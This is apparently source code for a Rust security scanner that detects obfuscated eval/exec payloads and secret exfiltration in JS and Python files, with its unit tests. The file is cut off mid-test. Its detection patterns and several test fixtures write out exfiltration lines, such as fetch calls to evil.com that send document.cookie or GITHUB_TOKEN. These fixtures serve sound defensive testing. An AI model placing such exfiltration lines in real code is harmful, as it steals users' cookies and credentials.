tirith-core 0.2.11

Terminal security analysis engine - homograph attacks, pipe-to-shell, ANSI injection
Documentation
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
1001
1002
1003
1004
1005
1006
1007
1008
1009
1010
1011
1012
1013
1014
1015
1016
1017
1018
1019
1020
1021
1022
1023
1024
1025
1026
1027
1028
1029
1030
1031
1032
1033
1034
1035
1036
1037
1038
1039
1040
1041
1042
1043
1044
1045
1046
1047
1048
1049
1050
1051
1052
1053
1054
1055
1056
1057
1058
1059
1060
1061
1062
1063
1064
1065
1066
1067
1068
1069
1070
1071
1072
1073
1074
1075
1076
1077
1078
1079
1080
1081
1082
1083
1084
1085
1086
1087
1088
1089
1090
1091
1092
1093
1094
1095
1096
1097
1098
1099
1100
1101
1102
1103
1104
1105
1106
1107
1108
1109
1110
1111
1112
1113
1114
1115
1116
1117
1118
1119
1120
1121
1122
1123
1124
1125
1126
1127
1128
1129
1130
1131
1132
1133
1134
1135
1136
1137
1138
1139
1140
1141
1142
1143
1144
1145
1146
1147
1148
1149
1150
1151
1152
1153
use once_cell::sync::Lazy;
use regex::Regex;

use crate::rules::shared::SENSITIVE_KEY_VARS;
use crate::script_analysis::detect_interpreter;
use crate::verdict::{Evidence, Finding, RuleId, Severity};

/// Code file extensions eligible for scanning.
const CODE_EXTENSIONS: &[&str] = &[
    "js", "mjs", "cjs", "ts", "mts", "jsx", "tsx", "py", "pyw", "sh", "bash", "zsh", "fish", "ps1",
    "psm1", "rb", "php", "pl",
];

/// Returns true if the file is a code file that should be scanned.
pub fn is_code_file(path: Option<&str>, content: &str) -> bool {
    if let Some(p) = path {
        let lower = p.to_lowercase();
        if let Some(ext) = lower.rsplit('.').next() {
            if CODE_EXTENSIONS.contains(&ext) {
                return true;
            }
        }
    }
    // Extensionless: require shebang
    if content.starts_with("#!") {
        let interp = detect_interpreter(content);
        if !interp.is_empty() {
            return true;
        }
    }
    false
}

/// Run code file pattern scanning rules.
pub fn check(input: &str, file_path: Option<&str>) -> Vec<Finding> {
    let mut findings = Vec::new();

    check_dynamic_code_execution(input, &mut findings);
    check_obfuscated_payload(input, &mut findings);
    check_suspicious_code_exfiltration(input, file_path, &mut findings);

    findings
}

// ---------------------------------------------------------------------------
// DynamicCodeExecution — eval/exec near decode/obfuscation tokens (~500 chars)
// ---------------------------------------------------------------------------

static DYNAMIC_CODE_PAIRS: Lazy<Vec<(Regex, Regex, &'static str)>> = Lazy::new(|| {
    vec![
        // JS: eval( near atob(
        (
            Regex::new(r"eval\s*\(").unwrap(),
            Regex::new(r"atob\s*\(").unwrap(),
            "eval() near atob()",
        ),
        // JS: eval( near String.fromCharCode
        (
            Regex::new(r"eval\s*\(").unwrap(),
            Regex::new(r"String\.fromCharCode").unwrap(),
            "eval() near String.fromCharCode()",
        ),
        // JS: new Function( near encoded content
        (
            Regex::new(r"new\s+Function\s*\(").unwrap(),
            Regex::new(r"(?:atob|String\.fromCharCode|Buffer\.from)\s*\(").unwrap(),
            "new Function() near encoded content",
        ),
        // Python: exec( near b64decode/base64.b64decode
        (
            Regex::new(r"exec\s*\(").unwrap(),
            Regex::new(r"b(?:ase)?64[._]?b?64decode|b64decode").unwrap(),
            "exec() near b64decode()",
        ),
        // Python: exec(compile(
        (
            Regex::new(r"exec\s*\(\s*compile\s*\(").unwrap(),
            Regex::new(r"compile\s*\(").unwrap(),
            "exec(compile())",
        ),
        // Python: exec(__import__(
        (
            Regex::new(r"exec\s*\(\s*__import__\s*\(").unwrap(),
            Regex::new(r"__import__\s*\(").unwrap(),
            "exec(__import__())",
        ),
    ]
});

const PROXIMITY_WINDOW: usize = 500;

fn check_dynamic_code_execution(input: &str, findings: &mut Vec<Finding>) {
    for (pattern_a, pattern_b, description) in DYNAMIC_CODE_PAIRS.iter() {
        for mat_a in pattern_a.find_iter(input) {
            let start = mat_a.start().saturating_sub(PROXIMITY_WINDOW);
            let end = (mat_a.end() + PROXIMITY_WINDOW).min(input.len());
            let window = &input[start..end];

            if pattern_b.is_match(window) {
                findings.push(Finding {
                    rule_id: RuleId::DynamicCodeExecution,
                    severity: Severity::Medium,
                    title: "Dynamic code execution with obfuscation".to_string(),
                    description: format!("Detected {description} in close proximity"),
                    evidence: vec![Evidence::CommandPattern {
                        pattern: description.to_string(),
                        matched: truncate(
                            &input[mat_a.start()..safe_end(input, mat_a.end() + 80)],
                            120,
                        ),
                    }],
                    human_view: None,
                    agent_view: None,
                    mitre_id: None,
                    custom_rule_id: None,
                });
                return; // One finding per file is enough
            }
        }
    }
}

// ---------------------------------------------------------------------------
// ObfuscatedPayload — long base64 inside decode call near eval/exec
// ---------------------------------------------------------------------------

static OBFUSCATED_DECODE_CALL: Lazy<Regex> = Lazy::new(|| {
    Regex::new(
        r#"(?:atob\s*\(\s*["']|b64decode\s*\(\s*b?["']|Buffer\.from\s*\(\s*["'])([A-Za-z0-9+/=]{40,})"#,
    )
    .unwrap()
});

static EXEC_EVAL_NEARBY: Lazy<Regex> =
    Lazy::new(|| Regex::new(r"(?:eval|exec|Function)\s*\(").unwrap());

fn check_obfuscated_payload(input: &str, findings: &mut Vec<Finding>) {
    for cap in OBFUSCATED_DECODE_CALL.captures_iter(input) {
        let full_match = cap.get(0).unwrap();
        let start = full_match.start().saturating_sub(PROXIMITY_WINDOW);
        let end = (full_match.end() + PROXIMITY_WINDOW).min(input.len());
        let window = &input[start..end];

        if EXEC_EVAL_NEARBY.is_match(window) {
            findings.push(Finding {
                rule_id: RuleId::ObfuscatedPayload,
                severity: Severity::Medium,
                title: "Obfuscated payload with decode-execute".to_string(),
                description:
                    "Long base64 string decoded and executed — likely obfuscated malicious payload"
                        .to_string(),
                evidence: vec![Evidence::CommandPattern {
                    pattern: "base64 decode + eval/exec".to_string(),
                    matched: truncate(full_match.as_str(), 120),
                }],
                human_view: None,
                agent_view: None,
                mitre_id: None,
                custom_rule_id: None,
            });
            return;
        }
    }
}

// ---------------------------------------------------------------------------
// SuspiciousCodeExfiltration — HTTP call with sensitive data in call args
// ---------------------------------------------------------------------------

/// JS HTTP call patterns — must capture up to the opening `(`
static JS_HTTP_CALL: Lazy<Regex> =
    Lazy::new(|| Regex::new(r"(?:fetch\s*\(|axios\.\w+\s*\(|\.send\s*\()").unwrap());

/// Python HTTP call patterns — must capture up to the opening `(`
static PY_HTTP_CALL: Lazy<Regex> = Lazy::new(|| {
    Regex::new(r"(?:requests\.(?:post|get|put)\s*\(|urllib\.request\.\w+\s*\()").unwrap()
});

/// Sensitive JS references: document.cookie or process.env.SENSITIVE_KEY
static JS_SENSITIVE: Lazy<Regex> = Lazy::new(|| {
    let keys: Vec<String> = SENSITIVE_KEY_VARS
        .iter()
        .map(|k| regex::escape(k))
        .collect();
    Regex::new(&format!(
        r"(?:document\.cookie|process\.env\.(?:{}))",
        keys.join("|")
    ))
    .unwrap()
});

/// Sensitive Python references: os.environ["SENSITIVE_KEY"] or open("/etc/passwd")
static PY_SENSITIVE: Lazy<Regex> = Lazy::new(|| {
    let keys: Vec<String> = SENSITIVE_KEY_VARS
        .iter()
        .map(|k| regex::escape(k))
        .collect();
    Regex::new(&format!(
        r#"(?:os\.environ\[["'](?:{})["']\]|open\s*\(\s*["']/etc/(?:passwd|shadow)["'][^)]*\))"#,
        keys.join("|")
    ))
    .unwrap()
});

/// Property keywords that indicate data/send context (fire the finding).
static SEND_PROPS: Lazy<Regex> =
    Lazy::new(|| Regex::new(r"(?i)(?:body|data|json|params|payload)\s*[:=]").unwrap());

/// Any property-like keyword (`word:` or `word=`) — used to detect when a
/// secret is inside an unknown property (like `meta:`) that is NOT a send context.
static GENERIC_PROP: Lazy<Regex> = Lazy::new(|| Regex::new(r"\b\w+\s*[:=]").unwrap());

/// Find the end of a call's argument list by matching the closing delimiter.
/// `open_pos` must point to the character AFTER the opening `(`.
/// Returns the byte position after the matching `)`, or None if unbalanced.
///
/// Handles: nested brackets, string literals (`"`, `'`, `` ` ``),
/// block comments (`/* ... */`), line comments (`//`, `#`), and
/// JS regex literals (heuristic: `/` preceded by a non-value byte).
fn find_call_end(input: &[u8], open_pos: usize) -> Option<usize> {
    let mut depth: u32 = 1;
    let mut i = open_pos;
    let mut in_string: Option<u8> = None;

    while i < input.len() && depth > 0 {
        let b = input[i];
        match in_string {
            Some(q) => {
                if b == b'\\' && i + 1 < input.len() {
                    i += 2; // skip escaped char
                    continue;
                }
                if b == q {
                    in_string = None;
                }
            }
            None => {
                // Block comment: /* ... */
                if b == b'/' && i + 1 < input.len() && input[i + 1] == b'*' {
                    i += 2;
                    while i + 1 < input.len() {
                        if input[i] == b'*' && input[i + 1] == b'/' {
                            i += 2;
                            break;
                        }
                        i += 1;
                    }
                    continue;
                }
                // Line comment: // or #
                if (b == b'/' && i + 1 < input.len() && input[i + 1] == b'/') || b == b'#' {
                    while i < input.len() && input[i] != b'\n' {
                        i += 1;
                    }
                    continue;
                }
                // JS regex literal: / preceded by a non-value token
                // Skip whitespace to find previous significant byte.
                if b == b'/' {
                    let prev = {
                        let mut j = i;
                        while j > 0 && matches!(input[j - 1], b' ' | b'\t' | b'\n' | b'\r') {
                            j -= 1;
                        }
                        if j > 0 {
                            input[j - 1]
                        } else {
                            0
                        }
                    };
                    let is_division = prev.is_ascii_alphanumeric()
                        || matches!(prev, b')' | b']' | b'_' | b'$' | b'+' | b'-');
                    if !is_division {
                        i += 1; // skip opening /
                        while i < input.len() && input[i] != b'/' {
                            if input[i] == b'\\' && i + 1 < input.len() {
                                i += 1; // skip escaped char in regex
                            }
                            i += 1;
                        }
                        if i < input.len() {
                            i += 1; // skip closing /
                        }
                        continue;
                    }
                }
                match b {
                    b'"' | b'\'' | b'`' => in_string = Some(b),
                    b'(' | b'[' | b'{' => depth += 1,
                    b')' | b']' | b'}' => depth -= 1,
                    _ => {}
                }
            }
        }
        i += 1;
    }
    if depth == 0 {
        Some(i)
    } else {
        None
    }
}

fn check_suspicious_code_exfiltration(
    input: &str,
    file_path: Option<&str>,
    findings: &mut Vec<Finding>,
) {
    let is_js = file_path
        .map(|p| {
            let lower = p.to_lowercase();
            lower.ends_with(".js")
                || lower.ends_with(".mjs")
                || lower.ends_with(".cjs")
                || lower.ends_with(".ts")
                || lower.ends_with(".mts")
                || lower.ends_with(".jsx")
                || lower.ends_with(".tsx")
        })
        .unwrap_or(false);

    let is_py = file_path
        .map(|p| {
            let lower = p.to_lowercase();
            lower.ends_with(".py") || lower.ends_with(".pyw")
        })
        .unwrap_or(false);

    // For extensionless shebangs, detect from content
    let (is_js, is_py) = if !is_js && !is_py && file_path.is_some() {
        let interp = detect_interpreter(input);
        (
            matches!(interp, "node" | "deno" | "bun"),
            matches!(interp, "python" | "python3" | "python2"),
        )
    } else {
        (is_js, is_py)
    };

    if is_js {
        check_js_exfiltration(input, findings);
    }
    if is_py {
        check_py_exfiltration(input, findings);
    }
}

/// Walk bytes up to `pos` tracking strings, comments, and bracket depth.
/// Returns `(depth, is_code)` at the target position.
fn code_context_at(s: &[u8], pos: usize) -> (i32, bool) {
    let mut depth: i32 = 0;
    let mut in_string: Option<u8> = None;
    let mut i = 0;

    while i < s.len() {
        if i == pos {
            return (depth, in_string.is_none());
        }
        let b = s[i];
        if let Some(q) = in_string {
            if b == b'\\' && i + 1 < s.len() {
                i += 2;
                continue;
            }
            if b == q {
                in_string = None;
            }
            i += 1;
            continue;
        }
        // Block comment
        if b == b'/' && i + 1 < s.len() && s[i + 1] == b'*' {
            i += 2;
            while i + 1 < s.len() {
                if i == pos || i + 1 == pos {
                    return (depth, false);
                }
                if s[i] == b'*' && s[i + 1] == b'/' {
                    i += 2;
                    break;
                }
                i += 1;
            }
            continue;
        }
        // Line comment
        if (b == b'/' && i + 1 < s.len() && s[i + 1] == b'/') || b == b'#' {
            while i < s.len() && s[i] != b'\n' {
                if i == pos {
                    return (depth, false);
                }
                i += 1;
            }
            continue;
        }
        // JS regex literal: / preceded by a non-value token
        if b == b'/' {
            let prev = {
                let mut j = i;
                while j > 0 && matches!(s[j - 1], b' ' | b'\t' | b'\n' | b'\r') {
                    j -= 1;
                }
                if j > 0 {
                    s[j - 1]
                } else {
                    0
                }
            };
            let is_division = prev.is_ascii_alphanumeric()
                || matches!(prev, b')' | b']' | b'_' | b'$' | b'+' | b'-');
            if !is_division {
                i += 1; // skip opening /
                while i < s.len() && s[i] != b'/' {
                    if i == pos {
                        return (depth, false);
                    }
                    if s[i] == b'\\' && i + 1 < s.len() {
                        i += 1;
                    }
                    i += 1;
                }
                if i < s.len() {
                    if i == pos {
                        return (depth, false);
                    }
                    i += 1; // skip closing /
                }
                continue;
            }
        }
        match b {
            b'"' | b'\'' | b'`' => in_string = Some(b),
            b'(' | b'[' | b'{' => depth += 1,
            b')' | b']' | b'}' => depth -= 1,
            _ => {}
        }
        i += 1;
    }
    (depth, in_string.is_none())
}

/// Decide whether to suppress the exfil finding for a secret at `pos_in_span`
/// within the HTTP call's argument span.
///
/// Logic: find the nearest shallow (depth ≤ 1), in-code property keyword
/// (`word:` or `word=`) before the secret.
/// - If it's a SEND keyword (body/data/json/params/payload) → fire (return false)
/// - If it's anything else (headers, meta, unknown) → suppress (return true)
/// - If NO property keyword at all → secret is in direct-argument / URL-concat
///   context → fire (return false)
fn should_suppress_exfil(arg_span: &str, pos_in_span: usize) -> bool {
    let before = &arg_span[..pos_in_span];
    let bytes = before.as_bytes();

    // Find the nearest property-like keyword at shallow depth in actual code.
    let nearest_prop = GENERIC_PROP
        .find_iter(before)
        .filter(|m| {
            let (depth, is_code) = code_context_at(bytes, m.start());
            depth <= 1 && is_code
        })
        .last();

    match nearest_prop {
        Some(m) => {
            // If the nearest property is a recognized send keyword → fire
            if SEND_PROPS.is_match(m.as_str()) {
                return false;
            }
            // Otherwise (headers, auth, meta, token, unknown) → suppress
            true
        }
        // No property keyword at all → direct argument / URL context → fire
        None => false,
    }
}

fn emit_exfil_finding(findings: &mut Vec<Finding>, call_snippet: &str, sens_str: &str) {
    findings.push(Finding {
        rule_id: RuleId::SuspiciousCodeExfiltration,
        severity: Severity::Medium,
        title: "Suspicious code exfiltration pattern".to_string(),
        description: format!(
            "HTTP call passes sensitive data '{}' as argument — potential data exfiltration",
            sens_str
        ),
        evidence: vec![Evidence::CommandPattern {
            pattern: "sensitive data inside HTTP call arguments".to_string(),
            matched: truncate(call_snippet, 120),
        }],
        human_view: None,
        agent_view: None,
        mitre_id: None,
        custom_rule_id: None,
    });
}

fn check_js_exfiltration(input: &str, findings: &mut Vec<Finding>) {
    let bytes = input.as_bytes();
    for http_match in JS_HTTP_CALL.find_iter(input) {
        // Match ends right after '(' — find the matching ')'
        let call_end = match find_call_end(bytes, http_match.end()) {
            Some(end) => end,
            None => continue,
        };
        // The argument span is everything between '(' and ')'
        let arg_span = &input[http_match.end()..call_end.saturating_sub(1)];

        for sens_match in JS_SENSITIVE.find_iter(arg_span) {
            // Only fire if the secret is in a send-position context
            if should_suppress_exfil(arg_span, sens_match.start()) {
                continue;
            }
            let snippet = &input[http_match.start()..call_end.min(input.len())];
            emit_exfil_finding(findings, snippet, sens_match.as_str());
            return;
        }
    }
}

fn check_py_exfiltration(input: &str, findings: &mut Vec<Finding>) {
    let bytes = input.as_bytes();
    for http_match in PY_HTTP_CALL.find_iter(input) {
        let call_end = match find_call_end(bytes, http_match.end()) {
            Some(end) => end,
            None => continue,
        };
        let arg_span = &input[http_match.end()..call_end.saturating_sub(1)];

        for sens_match in PY_SENSITIVE.find_iter(arg_span) {
            if should_suppress_exfil(arg_span, sens_match.start()) {
                continue;
            }
            let snippet = &input[http_match.start()..call_end.min(input.len())];
            emit_exfil_finding(findings, snippet, sens_match.as_str());
            return;
        }
    }
}

/// Find the largest byte index ≤ `target` that falls on a UTF-8 char boundary.
fn safe_end(s: &str, target: usize) -> usize {
    let clamped = target.min(s.len());
    // Walk backwards from clamped until we hit a char boundary
    let mut end = clamped;
    while end > 0 && !s.is_char_boundary(end) {
        end -= 1;
    }
    end
}

fn truncate(s: &str, max: usize) -> String {
    if s.chars().count() <= max {
        s.to_string()
    } else {
        let t: String = s.chars().take(max).collect();
        format!("{t}...")
    }
}

#[cfg(test)]
mod tests {
    use super::*;

    #[test]
    fn test_is_code_file_by_extension() {
        assert!(is_code_file(Some("test.js"), ""));
        assert!(is_code_file(Some("test.py"), ""));
        assert!(is_code_file(Some("test.ts"), ""));
        assert!(is_code_file(Some("test.sh"), ""));
        assert!(is_code_file(Some("test.ps1"), ""));
        assert!(!is_code_file(Some("notes.txt"), ""));
        assert!(!is_code_file(Some("config.json"), ""));
    }

    #[test]
    fn test_is_code_file_shebang() {
        assert!(is_code_file(
            Some("script"),
            "#!/usr/bin/env python3\nimport os"
        ));
        assert!(is_code_file(Some("run"), "#!/bin/bash\necho hi"));
        assert!(!is_code_file(Some("data"), "just some text"));
    }

    #[test]
    fn test_dynamic_code_eval_atob() {
        let input = r#"var x = eval(atob("SGVsbG8gV29ybGQ="));"#;
        let findings = check(input, Some("test.js"));
        assert!(
            findings
                .iter()
                .any(|f| f.rule_id == RuleId::DynamicCodeExecution),
            "eval+atob should fire DynamicCodeExecution"
        );
    }

    #[test]
    fn test_dynamic_code_exec_b64decode() {
        let input = r#"exec(b64decode("SGVsbG8gV29ybGQ="))"#;
        let findings = check(input, Some("test.py"));
        assert!(
            findings
                .iter()
                .any(|f| f.rule_id == RuleId::DynamicCodeExecution),
            "exec+b64decode should fire DynamicCodeExecution"
        );
    }

    #[test]
    fn test_bare_eval_no_fire() {
        let input = "eval(someVar);";
        let findings = check(input, Some("test.js"));
        assert!(
            !findings
                .iter()
                .any(|f| f.rule_id == RuleId::DynamicCodeExecution),
            "bare eval should not fire"
        );
    }

    #[test]
    fn test_eval_atob_distant_no_fire() {
        let padding = "x".repeat(600);
        let input = format!("eval(something);\n{padding}\natob('SGVsbG8=');");
        let findings = check(&input, Some("test.js"));
        assert!(
            !findings
                .iter()
                .any(|f| f.rule_id == RuleId::DynamicCodeExecution),
            "distant eval+atob should not fire"
        );
    }

    #[test]
    fn test_obfuscated_payload() {
        let b64 = "A".repeat(50);
        let input = format!(r#"eval(atob("{b64}"))"#);
        let findings = check(&input, Some("test.js"));
        assert!(
            findings
                .iter()
                .any(|f| f.rule_id == RuleId::ObfuscatedPayload),
            "long base64 in atob near eval should fire ObfuscatedPayload"
        );
    }

    #[test]
    fn test_exfil_fetch_cookie() {
        let input = r#"fetch("https://evil.com/?d=" + document.cookie)"#;
        let findings = check(input, Some("test.js"));
        assert!(
            findings
                .iter()
                .any(|f| f.rule_id == RuleId::SuspiciousCodeExfiltration),
            "fetch + document.cookie should fire"
        );
    }

    #[test]
    fn test_exfil_fetch_env_token() {
        let input = r#"fetch(url, {body: JSON.stringify({key: process.env.GITHUB_TOKEN})})"#;
        let findings = check(input, Some("test.js"));
        assert!(
            findings
                .iter()
                .any(|f| f.rule_id == RuleId::SuspiciousCodeExfiltration),
            "fetch + process.env.GITHUB_TOKEN in body should fire"
        );
    }

    #[test]
    fn test_exfil_auth_header_no_fire() {
        let input = r#"fetch("/api/login", {headers: {"Authorization": "Bearer " + process.env.GITHUB_TOKEN}})"#;
        let findings = check(input, Some("test.js"));
        assert!(
            !findings
                .iter()
                .any(|f| f.rule_id == RuleId::SuspiciousCodeExfiltration),
            "Authorization header pattern should NOT fire"
        );
    }

    #[test]
    fn test_exfil_python_requests() {
        let input = r#"requests.post(url, data=os.environ["AWS_SECRET_ACCESS_KEY"])"#;
        let findings = check(input, Some("test.py"));
        assert!(
            findings
                .iter()
                .any(|f| f.rule_id == RuleId::SuspiciousCodeExfiltration),
            "requests.post + secret env should fire"
        );
    }

    #[test]
    fn test_normal_fetch_no_fire() {
        let input = r#"fetch("/api/data").then(r => r.json())"#;
        let findings = check(input, Some("test.js"));
        assert!(
            !findings
                .iter()
                .any(|f| f.rule_id == RuleId::SuspiciousCodeExfiltration),
            "normal fetch should not fire"
        );
    }

    #[test]
    fn test_not_code_file_no_fire() {
        let input = r#"eval(atob("SGVsbG8gV29ybGQ="));"#;
        assert!(!is_code_file(Some("notes.txt"), input));
    }

    #[test]
    fn test_internal_post_body_no_fire() {
        let input = r#"requests.post("https://internal-api.example.com/log", json={"event": "login", "user": username})"#;
        let findings = check(input, Some("test.py"));
        assert!(
            !findings
                .iter()
                .any(|f| f.rule_id == RuleId::SuspiciousCodeExfiltration),
            "internal API POST without sensitive data should not fire"
        );
    }

    // -----------------------------------------------------------------------
    // Non-send properties: secret in unknown kwargs must NOT fire
    // -----------------------------------------------------------------------

    #[test]
    fn test_exfil_js_meta_property_no_fire() {
        let input = r#"fetch(url, {meta: process.env.GITHUB_TOKEN})"#;
        let findings = check(input, Some("test.js"));
        assert!(
            !findings
                .iter()
                .any(|f| f.rule_id == RuleId::SuspiciousCodeExfiltration),
            "secret in non-send property 'meta:' should NOT fire"
        );
    }

    #[test]
    fn test_exfil_python_meta_kwarg_no_fire() {
        let input = r#"requests.post(url, meta=os.environ["AWS_SECRET_ACCESS_KEY"])"#;
        let findings = check(input, Some("test.py"));
        assert!(
            !findings
                .iter()
                .any(|f| f.rule_id == RuleId::SuspiciousCodeExfiltration),
            "secret in non-send kwarg 'meta=' should NOT fire"
        );
    }

    #[test]
    fn test_exfil_js_token_property_no_fire() {
        let input = r#"fetch(url, {token: process.env.GITHUB_TOKEN})"#;
        let findings = check(input, Some("test.js"));
        assert!(
            !findings
                .iter()
                .any(|f| f.rule_id == RuleId::SuspiciousCodeExfiltration),
            "secret in non-send property 'token:' should NOT fire"
        );
    }

    #[test]
    fn test_exfil_query_concat_fires() {
        let input = r#"fetch("https://evil.com/c?token=" + process.env.GITHUB_TOKEN)"#;
        let findings = check(input, Some("test.js"));
        assert!(
            findings
                .iter()
                .any(|f| f.rule_id == RuleId::SuspiciousCodeExfiltration),
            "URL query concat with secret should fire"
        );
    }

    // -----------------------------------------------------------------------
    // False-positive boundary: secret must be INSIDE the HTTP call's args
    // -----------------------------------------------------------------------

    #[test]
    fn test_exfil_separate_statement_no_fire() {
        // Secret in a separate statement, not passed to the fetch call
        let input = r#"fetch(url); const payload = { token: process.env.GITHUB_TOKEN };"#;
        let findings = check(input, Some("test.js"));
        assert!(
            !findings
                .iter()
                .any(|f| f.rule_id == RuleId::SuspiciousCodeExfiltration),
            "secret in separate statement (not in call args) should NOT fire"
        );
    }

    #[test]
    fn test_exfil_unrelated_body_object_no_fire() {
        // body: keyword exists nearby but belongs to unrelated local object
        let input = r#"fetch(url); const opts = { body: bodyVar }; const token = process.env.GITHUB_TOKEN;"#;
        let findings = check(input, Some("test.js"));
        assert!(
            !findings
                .iter()
                .any(|f| f.rule_id == RuleId::SuspiciousCodeExfiltration),
            "unrelated body object near fetch should NOT fire"
        );
    }

    #[test]
    fn test_exfil_document_cookie_not_sent_no_fire() {
        // document.cookie is read but not passed as argument to the fetch call
        let input = r#"fetch(url); console.log(document.cookie);"#;
        let findings = check(input, Some("test.js"));
        assert!(
            !findings
                .iter()
                .any(|f| f.rule_id == RuleId::SuspiciousCodeExfiltration),
            "document.cookie outside call args should NOT fire"
        );
    }

    #[test]
    fn test_exfil_document_cookie_inside_call_fires() {
        // document.cookie IS passed inside the fetch call's args
        let input = r#"fetch("https://evil.com/?c=" + document.cookie)"#;
        let findings = check(input, Some("test.js"));
        assert!(
            findings
                .iter()
                .any(|f| f.rule_id == RuleId::SuspiciousCodeExfiltration),
            "document.cookie inside call args should fire"
        );
    }

    // -----------------------------------------------------------------------
    // Parser edge cases: comments and regex literals inside call args
    // -----------------------------------------------------------------------

    #[test]
    fn test_exfil_block_comment_in_args() {
        // `)` inside a block comment must not terminate the arg span
        let input =
            r#"fetch(url /* ) */, {body: JSON.stringify({key: process.env.GITHUB_TOKEN})})"#;
        let findings = check(input, Some("test.js"));
        assert!(
            findings
                .iter()
                .any(|f| f.rule_id == RuleId::SuspiciousCodeExfiltration),
            "block comment with ) inside call args should not break parser"
        );
    }

    #[test]
    fn test_exfil_python_line_comment_in_args() {
        // `#` line comment with `)` must not terminate the arg span
        let input = "requests.post(url, # )\n    data=os.environ[\"AWS_SECRET_ACCESS_KEY\"])";
        let findings = check(input, Some("test.py"));
        assert!(
            findings
                .iter()
                .any(|f| f.rule_id == RuleId::SuspiciousCodeExfiltration),
            "Python # comment with ) inside call args should not break parser"
        );
    }

    #[test]
    fn test_exfil_js_regex_literal_in_args() {
        // regex literal /\(/ must not throw off delimiter counting
        let input = r#"fetch(url, {body: /\(/, json: process.env.GITHUB_TOKEN})"#;
        let findings = check(input, Some("test.js"));
        assert!(
            findings
                .iter()
                .any(|f| f.rule_id == RuleId::SuspiciousCodeExfiltration),
            "JS regex literal with ( should not break parser"
        );
    }

    #[test]
    fn test_find_call_end_block_comment() {
        let input = b"url /* ) */, data)";
        assert_eq!(find_call_end(input, 0), Some(18));
    }

    #[test]
    fn test_find_call_end_line_comment() {
        let input = b"url, # )\n    data)";
        assert_eq!(find_call_end(input, 0), Some(18));
    }

    #[test]
    fn test_find_call_end_regex_literal() {
        let input = br#"url, {body: /\(/, val})"#;
        assert_eq!(find_call_end(input, 0), Some(23));
    }

    // -----------------------------------------------------------------------
    // Header suppression: headers before body must not suppress body secrets
    // -----------------------------------------------------------------------

    #[test]
    fn test_exfil_headers_then_body_fires() {
        let input = r#"fetch(url, {headers: {Authorization: auth}, body: JSON.stringify({key: process.env.GITHUB_TOKEN})})"#;
        let findings = check(input, Some("test.js"));
        assert!(
            findings
                .iter()
                .any(|f| f.rule_id == RuleId::SuspiciousCodeExfiltration),
            "secret in body after headers in same call should fire"
        );
    }

    #[test]
    fn test_exfil_python_headers_then_data_fires() {
        let input =
            r#"requests.post(url, headers=headers, data=os.environ["AWS_SECRET_ACCESS_KEY"])"#;
        let findings = check(input, Some("test.py"));
        assert!(
            findings
                .iter()
